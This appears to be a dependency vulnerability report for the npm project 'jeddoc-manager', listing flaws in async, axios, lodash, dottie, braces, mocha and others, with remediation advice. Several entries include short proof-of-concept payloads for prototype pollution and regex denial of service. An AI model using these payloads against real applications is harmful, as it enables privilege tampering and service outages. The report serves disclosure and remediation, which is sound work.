A remote authenticated or unauthenticated attacker can bypass packages that rely on netmask to filter IP address blocks to reach intranets, VPNs, containers, adjacent VPC instances, or LAN hosts, using input data such as 012.0.0.1 (10.0.0.1), which netmask evaluates as 12.0.0.1 (public).
NOTE: This vulnerability has also been identified as: CVE-2021-28918
Remediation
Upgrade netmask to version 2.0.1 or higher.
References
high severity
- Vulnerable module: async
- Introduced through: mongoose@4.13.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mongoose@4.13.21 › async@2.6.0Remediation: Upgrade to mongoose@5.7.3.
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the mapValues() method, due to improper check in createObjectIterator function.
PoC
//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))
const hasOwn = JSON.parse('{"__proto__": {"isAdmin": true}}');
//does not have the property, because it's inside object's own "__proto__"
console.log(hasOwn.isAdmin);
async.mapValues(hasOwn, (val, key, cb) => cb(null, val), (error, result) => {
// after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.
console.log(result.isAdmin);
});
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade async to version 2.6.4, 3.2.2 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.21.3.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the trim function.
PoC
// poc.js
var {trim} = require("axios/lib/utils");
function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var time = Date.now();
trim(build_blank(50000))
var time_cost = Date.now() - time;
console.log("time_cost: " + time_cost)
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade axios to version 0.21.3 or higher.
References
high severity
- Vulnerable module: bcrypt
- Introduced through: bcrypt@1.0.3
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › bcrypt@1.0.3Remediation: Upgrade to bcrypt@5.0.0.
Overview
bcrypt is an A library to help you hash passwords.
Affected versions of this package are vulnerable to Insecure Encryption. Data is truncated wrong when its length is greater than 255 bytes.
Remediation
Upgrade bcrypt to version 5.0.0 or higher.
References
high severity
- Vulnerable module: braces
- Introduced through: babel-plugin-istanbul@4.1.6, nyc@11.9.0 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-plugin-istanbul@4.1.6 › test-exclude@4.2.3 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to babel-plugin-istanbul@5.0.1.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › test-exclude@4.2.3 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to nyc@13.0.1.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › chokidar@1.7.0 › anymatch@1.3.2 › micromatch@2.3.11 › braces@1.8.5
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › micromatch@3.1.10 › braces@2.3.2Remediation: Upgrade to nyc@13.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint-watch@3.1.5 › chokidar@2.1.8 › braces@2.3.2Remediation: Upgrade to eslint-watch@6.0.1.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › chokidar@2.1.8 › braces@2.3.2Remediation: Upgrade to nodemon@2.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › babel-cli@6.26.0 › chokidar@1.7.0 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint-watch@3.1.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint-watch@3.1.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › braces@2.3.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Excessive Platform Resource Consumption within a Loop due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.
PoC
const { braces } = require('micromatch');
console.log("Executing payloads...");
const maxRepeats = 10;
for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
const payload = '{'.repeat(repeats*90000);
console.log(`Testing with ${repeats} repeats...`);
const startTime = Date.now();
braces(payload);
const endTime = Date.now();
const executionTime = endTime - startTime;
console.log(`Regex executed in ${executionTime / 1000}s.\n`);
}
Remediation
Upgrade braces to version 3.0.3 or higher.
References
high severity
- Vulnerable module: dottie
- Introduced through: sequelize@3.35.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › sequelize@3.35.1 › dottie@1.1.1Remediation: Upgrade to sequelize@4.0.0.
Overview
dottie is a Fast and safe nested object access and manipulation in JavaScript
Affected versions of this package are vulnerable to Prototype Pollution due to insufficient checks, via the set() function and the current variable in the /dottie.js file.
PoC
var dottie = require("dottie")
var obj1 = {}
var obj2 = {}
var bad_path1 = '__proto__.test1'
var bad_path2 = '__proto__.test2'
console.log("before:"+ obj1.test1)
console.log("before:"+ obj2.test2)
dottie.default(obj1,bad_path1,"polluted1")
dottie.set(obj2,bad_path2,"polluted2")
console.log("after:"+obj1.test1)
console.log("after:"+obj2.test2)
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade dottie to version 2.0.4 or higher.
References
high severity
- Vulnerable module: loader-utils
- Introduced through: webpack@2.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › loader-utils@0.2.17Remediation: Upgrade to webpack@3.0.0.
Overview
Affected versions of this package are vulnerable to Prototype Pollution in parseQuery function via the name variable in parseQuery.js. This pollutes the prototype of the object returned by parseQuery and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade loader-utils to version 1.4.1, 2.0.3 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: react-tinymce@0.5.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › react-tinymce@0.5.1 › lodash@3.10.1Remediation: Upgrade to react-tinymce@0.6.0.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution through the zipObjectDeep function due to improper user input sanitization in the baseZipObject function.
PoC
lodash.zipobjectdeep:
const zipObjectDeep = require("lodash.zipobjectdeep");
let emptyObject = {};
console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined
zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function
console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
lodash:
const test = require("lodash");
let emptyObject = {};
console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined
test.zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function
console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.17 or higher.
References
high severity
- Vulnerable module: mocha
- Introduced through: mocha@3.5.3
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mocha@3.5.3Remediation: Upgrade to mocha@10.1.0.
Overview
mocha is a javascript test framework for node.js & the browser.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the clean function in utils.js.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mocha to version 10.1.0 or higher.
References
high severity
- Vulnerable module: mocha
- Introduced through: mocha@3.5.3
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mocha@3.5.3Remediation: Upgrade to mocha@6.0.0.
Overview
mocha is a javascript test framework for node.js & the browser.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). If the stack trace in utils.js begins with a large error message (>= 20k characters), and full-trace is not undisabled, utils.stackTraceFilter() will take exponential time to run.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mocha to version 6.0.0 or higher.
References
high severity
- Vulnerable module: mongodb
- Introduced through: mongoose@4.13.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mongoose@4.13.21 › mongodb@2.2.34Remediation: Upgrade to mongoose@5.4.10.
Overview
mongodb is an official MongoDB driver for Node.js.
Affected versions of this package are vulnerable to Denial of Service (DoS). The package fails to properly catch an exception when a collection name is invalid and the DB does not exist, crashing the application.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
